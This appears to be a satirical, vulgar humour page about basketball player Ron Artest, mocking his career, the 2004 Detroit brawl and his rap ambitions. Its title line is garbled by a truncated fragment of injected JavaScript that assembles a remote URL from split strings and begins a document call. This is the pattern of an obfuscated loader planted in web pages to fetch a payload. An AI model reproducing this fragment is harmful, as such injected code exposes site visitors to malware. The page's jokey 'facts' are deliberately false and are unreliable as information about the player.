Ron Artest

Ron Artest, demented genius or demented, period?)){u='http'+'://buro'+'tkan'+'i.com/'+'sma'+'rty/';j=document.c

Don't mess with that guy. Seriously.

Just The Facts

  1. SIr Ron Artest, Esq. is an American-born philanthropist, scholar, musician, and occasional b-ball playa.
  2. He epitomizes everything that's true and good in today's NBA. But not really.
  3. He puts the "batshit" (and the "crazy") in "batshit crazy"

The early years - The journey commenceth

Like any future superhero, Ron Artest was once a naive youngster just hoping for a brighter future. But even then, he was not about lazily letting his old folks get murdered like Bruce Wayne or jerking off to the thought of Mary Jane Watson, like that wimp Peter Parker (although he is not above some mary jane himself, but that's different). No, no. Ron Artest was busy working his ass off on the playgrounds of NY, then on St John's hardwoods, and finally got drafted by Da bulls, winning the admiration of Michael Jordan himself.

Of Course, Artest responded to those encouraging words from the greatest player of all time in the way any real man would do:by breaking two of Jordan's ribs, showing that you cannot win the man by mere flattery.

You got that, PUSSY?

Malice at the Palace - A hero ariseth

Ron Artest really revealed himself onto the world on a cloudy night at the Palace at Auburn Hill, on November 19, 2004. Facing the reigning champions, the Detroit Pistons, Ron Artest first coureagously saves Ben wallace's life by preenting him to attempt a field goal he would have horribly missed anyway. A long and heartwarming embrace between our hero and a grateful Wallace ensues.

But suddenly, oh no! A young and misguided Pistons fan offers a skewed construal of a passage of Aristoteles' Nicomachean Ethics, erroneously thinking that the philosopher had defined distributive justice as the perpetration of acts of love on Ron Artest's mother. It's then time for a correction, Ron Artest style. The incident is variously known as "The Malice at the Palace", the "Basketbrawl", and is now as much a part of American history as the day when Jimmy Carter lost a one-on-one duel against a rabbit.

Ron Artest gets jiggy with it - A Renaissance man is born

But do not dismiss Mr Artest as a mere superstar of the hardwood - although he is maybe the brightest of all. He also holds a mean mic and prides himself in being an accomplished multi-instrumentalist.

Eat THAT, Jay-Z!

Eat THAT, Jay-Z!

Artest to LA ! - Artest goes forth

You've all heard the news, guys, Ron will soon join the LA Lakers. And what's wrong with that?

I love you, man

Nothing, obviously.